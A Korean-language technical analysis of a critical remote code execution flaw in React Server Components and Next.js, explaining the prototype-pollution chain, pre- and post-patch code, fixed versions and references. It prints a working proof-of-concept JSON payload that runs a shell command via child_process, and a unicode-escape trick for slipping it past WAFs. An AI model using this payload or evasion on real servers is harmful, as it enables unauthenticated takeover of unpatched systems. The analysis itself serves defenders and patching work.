분석 대상: React 19.x (Server Components), Next.js 15.x
취약점 유형: Deserialization of Untrusted Data / Prototype Pollution
CVSS: 10.0 (Critical)
1. 개요
React 19의 코어 기능인 React Server Components(RSC)가 사용하는 'Flight Protocol' 처리 과정에서 치명적인 원격 코드 실행(RCE) 취약점이 발견되었다. 이 취약점은 단순한 입력값 검증 부재가 아니라, RSC의 'Deep Reference(심층 참조)' 메커니즘과 Javascript의 'Thenable' 처리 루틴이 결합되어 발생하는 구조적 결함이다. 공격자는 인증 없이 특수하게 조작된 JSON 페이로드를 전송함으로써, 서버 내부 객체의 프로토타입 체인을 오염시키고 임의의 시스템 명령어를 실행할 수 있다.
2. 기술적 배경
이 취약점을 이해하기 위해서는 React가 서버 데이터를 클라이언트로 직렬화(Serialization)하고, 이를 다시 복원(Revive)하는 독자적인 규격인 Flight Protocol을 이해해야 한다.
- Row Reference ($): $1\과 같은 표기는 서버 메모리 상의 1번 청크(Chunk)를 참조한다.
- Deep Reference (:): React 19 최적화를 위해 도입된 문법으로, $1:user:name과 같이 청크 내부의 특정 속성만 깊게(Deep) 참조하여 가져올 수 있다.
- Thenable Handling: React는 비동기 처리를 위해 객체에 .then 메서드가 존재하면 이를 Promise로 간주하고 자동 실행(Auto-execution)하려는 특성이 있다.
3. 상세 취약점 분석
취약점은 크게 검증 없는 참조 획득(Source), 가젯 주입(Injection), Thenable을 통한 실행(Sink)의 3단계 체인으로 구성된다.
Step 1. 검증 없는 심층 참조
react-server 패키지의 ReactFlightReplyServer.js 내 getOutlinedModel 함수는 Deep Reference 문자열(예: $1:a:b)을 파싱할 때 치명적인 검증 누락이 존재한다.
// packages/react-server/src/ReactFlightReplyServer.js (Patch 전)
function getOutlinedModel(response, reference, ...) {
const path = reference.split(':'); // [!] 구분자로 분리
const id = parseInt(path[0], 16);
let value = getChunk(response, id).value;
for (let i = 1; i < path.length; i++) {
// [!] Critical Flaw: path[i]가 '__proto__'인지 검사하는 로직 부재
value = value[path[i]];
}
return value; // 내부 객체(예: Prototype)의 참조(Reference) 자체를 반환
}
이 로직으로 인해 공격자는 $1:__proto__와 같은 문자열을 보내, 서버 메모리 상의 Object.prototype이나 Function.constructor와 같은 민감한 내부 객체의 참조 핸들(Handle)을 획득할 수 있다. 이는 단순한 '읽기'를 넘어, "이 객체를 가져와서 내가 만드는 JSON의 부품으로 써라"는 명령이 된다.
Step 2. 가젯 주입 및 오염
공격자는 획득한 참조를 reviveModel 과정을 통해 자신이 구성한 악성 JSON 객체의 속성으로 연결한다. 이것이 "읽기"가 "쓰기(오염)"로 전환되는 지점이다.
{
"target": {
"then": "$1:__proto__:then"
// 해석: "새로 만드는 'target' 객체의 'then' 속성에
// 서버 메모리 상의 'Chunk.prototype.then' 함수를 할당하라."
}
}
React의 파서는 위 JSON을 해석하여, 실제 메모리에 있는 함수를 target.then에 바인딩한다. 이로써 target 객체는 평범한 JSON 객체가 아니라, React 엔진이 Promise로 착각하게 만드는 'Thenable' 객체로 변모한다.
Step 3. 실행 트리거
이제 공격자는 실행할 코드를 주입해야 한다. React의 Blob 처리 로직을 악용하여 코드를 문자열 형태로 주입하고, 이를 Function 생성자로 실행한다.
- Code Injection: Flight Protocol의 Blob 포맷($B...) 처리 과정에서 임의의 문자열(예: console.log('pwned'))을 메모리에 적재한다.
- Constructor Hijacking: $1:constructor:constructor를 참조하여 Function 생성자(Javascript의 new Function())를 가져온다.
- Final Trigger:
- React는 Step 2에서 만든 Thenable 객체를 발견하고, 비동기 처리를 위해 .then()을 호출한다.
- 이때 .then은 공격자가 조작한 Function 생성자와 연결되어 있다.
- 결과적으로 new Function("악성코드 문자열")이 실행되고, 생성된 익명 함수가 즉시 호출되어 RCE가 발생한다.
4. PoC 분석
실제 공격에 사용 가능한 PoC 페이로드는 다음과 같은 구조를 가진다.
{
// [Gadget 1] Thenable 트리거 구성
"then": "$1:__proto__:then", // Chunk.prototype.then을 훔쳐옴
"status": "resolved_model", // 즉시 실행되도록 상태 위장
// [Gadget 2] 실행할 코드 주입 (Blob 우회)
"value": {
"then": "$B1" // $B1은 아래 _response에서 정의된 악성 코드 문자열
},
// [Gadget 3] Function 생성자 및 코드 정의
"_response": {
"_formData": {
"get": "$1:constructor:constructor" // FormData.get을 Function 생성자로 치환
},
"_prefix": "require('child_process').execSync('calc'); //" // 실행할 코드
}
}
- WAF 우회 기법: 위 페이로드는 \u0074\u0068\u0065\u006e (unicode escape) 등으로 인코딩되어 전송되므로, 단순 문자열 매칭 기반의 WAF를 무력화한다.
5. 대응 방안 및 결론
5.1. 패치 적용
GitHub 커밋 7dc903c에서 확인된 바와 같이, React 팀은 getOutlinedModel 함수 내에 속성 접근 제어를 추가했다.
// Patched Code
for (let i = 1; i < path.length; i++) {
const key = path[i];
// [Secure] __proto__, prototype, constructor 접근 차단
if (key === '__proto__' || key === 'prototype' || key === 'constructor') {
throw new Error('Security Error: Invalid Access');
}
value = value[key];
}
따라서, 아래 버전으로의 업데이트가 유일하고 근본적인 해결책이다.
- React: 19.0.1+, 19.1.2+, 19.2.1+
- Next.js: 15.0.5+
5.2. 결론
React2Shell은 모던 웹 프레임워크의 복잡한 직렬화 로직이 어떻게 공격 표면이 될 수 있는지 보여주는 대표적인 사례다. 단순히 데이터를 파싱하는 것이 아니라, 객체의 참조를 복원(Hydration)하는 과정에서 내부 실행 흐름을 납치(Hijacking)할 수 있다는 점을 명심해야 한다. 모든 운영 조직은 즉시 패치를 적용하고, 불필요한 RSC 엔드포인트의 외부 노출을 점검해야 한다.
References
React Official Blog: Critical Security Vulnerability in React Server Components
https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
Next.js Security Advisory: CVE-2025-66478 (Next.js specific)
https://nextjs.org/blog/CVE-2025-66478
KISA (KrCERT) 보안 공지: React 및 Next.js 보안 업데이트 권고
https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71912&menuNo=205020
NVD (National Vulnerability Database): CVE-2025-55182 Detail
https://nvd.nist.gov/vuln/detail/CVE-2025-55182
GitHub Commit (Patch): Facebook/React 7dc903c - Fix security vulnerability in Flight
https://github.com/facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700
PoC & Technical Details (Gist): Flight Reference Types Analysis
https://gist.github.com/HerringtonDarkholme/87f14efca45f7d38740be9f53849a89f#flight-reference-types
Exploit Mechanism Research:
https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3